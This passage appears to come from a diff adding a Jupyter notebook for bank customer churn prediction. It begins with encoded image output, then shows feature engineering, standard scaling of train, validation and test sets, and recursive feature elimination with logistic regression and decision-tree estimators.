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" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "# Linear association of new columns with target variables to judge importance\n", + "sns.heatmap(dc_train[new_cols + ['Exited']].corr(), annot=True)" + ] + }, + { + "cell_type": "code", + "execution_count": 48, + "metadata": {}, + "outputs": [], + "source": [ + "dc_val['bal_per_product'] = dc_val.Balance/(dc_val.NumOfProducts + eps)\n", + "dc_val['bal_by_est_salary'] = dc_val.Balance/(dc_val.EstimatedSalary + eps)\n", + "dc_val['tenure_age_ratio'] = dc_val.Tenure/(dc_val.Age + eps)\n", + "dc_val['age_surname_mean_churn'] = np.sqrt(dc_val.Age) * dc_val.Surname_enc\n", + "dc_test['bal_per_product'] = dc_test.Balance/(dc_test.NumOfProducts + eps)\n", + "dc_test['bal_by_est_salary'] = dc_test.Balance/(dc_test.EstimatedSalary + eps)\n", + "dc_test['tenure_age_ratio'] = dc_test.Tenure/(dc_test.Age + eps)\n", + "dc_test['age_surname_mean_churn'] = np.sqrt(dc_test.Age) * dc_test.Surname_enc" + ] + }, + { + "cell_type": "code", + "execution_count": 49, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "(7920, 11)" + ] + }, + "execution_count": 49, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "text/html": [ + "
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CreditScoreAgeTenureBalanceNumOfProductsEstimatedSalarySurname_encbal_per_productbal_by_est_salarytenure_age_ratioage_surname_mean_churn
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1-0.389351-1.128482-0.0047630.787860-0.9124231.731950-1.0792101.104840-0.1188340.525547-1.062507
2-0.2337860.5797161.379604-1.2188730.804059-0.0487510.094549-1.100925-0.1558540.6909660.193191
3-1.426446-0.843782-0.004763-1.2188730.8040591.0948380.505364-1.100925-0.1558540.3187730.321611
4-0.119706-1.602981-0.350855-1.2188730.804059-1.2448061.561746-1.100925-0.1558540.4879520.912973
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" + ], + "text/plain": [ + " CreditScore Age Tenure Balance NumOfProducts EstimatedSalary \\\n", + "0 0.284761 -0.274383 -1.389130 0.670778 0.804059 -1.254732 \n", + "1 -0.389351 -1.128482 -0.004763 0.787860 -0.912423 1.731950 \n", + "2 -0.233786 0.579716 1.379604 -1.218873 0.804059 -0.048751 \n", + "3 -1.426446 -0.843782 -0.004763 -1.218873 0.804059 1.094838 \n", + "4 -0.119706 -1.602981 -0.350855 -1.218873 0.804059 -1.244806 \n", + "\n", + " Surname_enc bal_per_product bal_by_est_salary tenure_age_ratio \\\n", + "0 -1.079210 -0.062389 0.095448 -1.232035 \n", + "1 -1.079210 1.104840 -0.118834 0.525547 \n", + "2 0.094549 -1.100925 -0.155854 0.690966 \n", + "3 0.505364 -1.100925 -0.155854 0.318773 \n", + "4 1.561746 -1.100925 -0.155854 0.487952 \n", + "\n", + " age_surname_mean_churn \n", + "0 -1.062507 \n", + "1 -1.062507 \n", + "2 0.193191 \n", + "3 0.321611 \n", + "4 0.912973 " + ] + }, + "execution_count": 49, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# initialize the standard scaler\n", + "sc = StandardScaler()\n", + "cont_vars = ['CreditScore', 'Age', 'Tenure', 'Balance', 'NumOfProducts', 'EstimatedSalary', 'Surname_enc', 'bal_per_product'\n", + " , 'bal_by_est_salary', 'tenure_age_ratio', 'age_surname_mean_churn']\n", + "cat_vars = ['Gender', 'HasCrCard', 'IsActiveMember', 'country_France', 'country_Germany', 'country_Spain']\n", + "# Scaling only continuous columns\n", + "cols_to_scale = cont_vars\n", + "sc_X_train = sc.fit_transform(dc_train[cols_to_scale])\n", + "# Converting from array to dataframe and naming the respective features/columns\n", + "sc_X_train = pd.DataFrame(data=sc_X_train, columns=cols_to_scale)\n", + "sc_X_train.shape\n", + "sc_X_train.head()" + ] + }, + { + "cell_type": "code", + "execution_count": 50, + "metadata": {}, + "outputs": [], + "source": [ + "# Scaling validation and test sets by transforming the mapping obtained through the training set\n", + "sc_X_val = sc.transform(dc_val[cols_to_scale])\n", + "sc_X_test = sc.transform(dc_test[cols_to_scale])\n", + "# Converting val and test arrays to dataframes for re-usability\n", + "sc_X_val = pd.DataFrame(data=sc_X_val, columns=cols_to_scale)\n", + "sc_X_test = pd.DataFrame(data=sc_X_test, columns=cols_to_scale)" + ] + }, + { + "cell_type": "code", + "execution_count": 51, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "Index(['Gender', 'HasCrCard', 'IsActiveMember', 'country_France',\n", + " 'country_Germany', 'country_Spain', 'CreditScore', 'Age', 'Tenure',\n", + " 'Balance', 'NumOfProducts', 'EstimatedSalary', 'Surname_enc',\n", + " 'bal_per_product', 'bal_by_est_salary', 'tenure_age_ratio',\n", + " 'age_surname_mean_churn'],\n", + " dtype='object')" + ] + }, + "execution_count": 51, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Creating feature-set and target for RFE model\n", + "y = dc_train['Exited'].values\n", + "X = dc_train[cat_vars + cont_vars]\n", + "X.columns = cat_vars + cont_vars\n", + "X.columns" + ] + }, + { + "cell_type": "code", + "execution_count": 52, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "[ True True True True True True False True False False True False\n", + " True False False True False]\n", + "[1 1 1 1 1 1 5 1 4 6 1 8 1 7 3 1 2]\n" + ] + } + ], + "source": [ + "# for logistics regression\n", + "rfe = RFE(estimator=LogisticRegression(), n_features_to_select=10) \n", + "rfe = rfe.fit(X.values, y) \n", + "# mask of selected features\n", + "print(rfe.support_)\n", + "# The feature ranking, such that ranking_[i] corresponds to the ranking position of the i-th feature \n", + "print(rfe.ranking_)" + ] + }, + { + "cell_type": "code", + "execution_count": 53, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "['Gender',\n", + " 'HasCrCard',\n", + " 'IsActiveMember',\n", + " 'country_France',\n", + " 'country_Germany',\n", + " 'country_Spain',\n", + " 'Age',\n", + " 'NumOfProducts',\n", + " 'Surname_enc',\n", + " 'tenure_age_ratio']" + ] + }, + "execution_count": 53, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Logistic regression (linear)\n", + "mask = rfe.support_.tolist()\n", + "selected_feats = [b for a,b in zip(mask, X.columns) if a]\n", + "selected_feats" + ] + }, + { + "cell_type": "code", + "execution_count": 55, + "metadata": {}, + "outputs": [], + "source": [ + "rfe_dt = RFE(estimator=DecisionTreeClassifier(max_depth = 4, criterion = 'entropy'), n_features_to_select=10) \n", + "rfe_dt = rfe_dt.fit(X.values, y) " + ] + }, + { + "cell_type": "code", + "execution_count": 56, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "['IsActiveMember',\n", + " 'country_Germany',\n", + " 'Age',\n", + " 'NumOfProducts',\n", + " 'EstimatedSalary',\n", + " 'Surname_enc',\n", + " 'bal_per_product',\n", + " 'bal_by_est_salary',\n", + " 'tenure_age_ratio',\n", + " 'age_surname_mean_churn']" + ] + }, + "execution_count": 56, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "mask = rfe_dt.support_.tolist()\n", + "selected_feats_dt 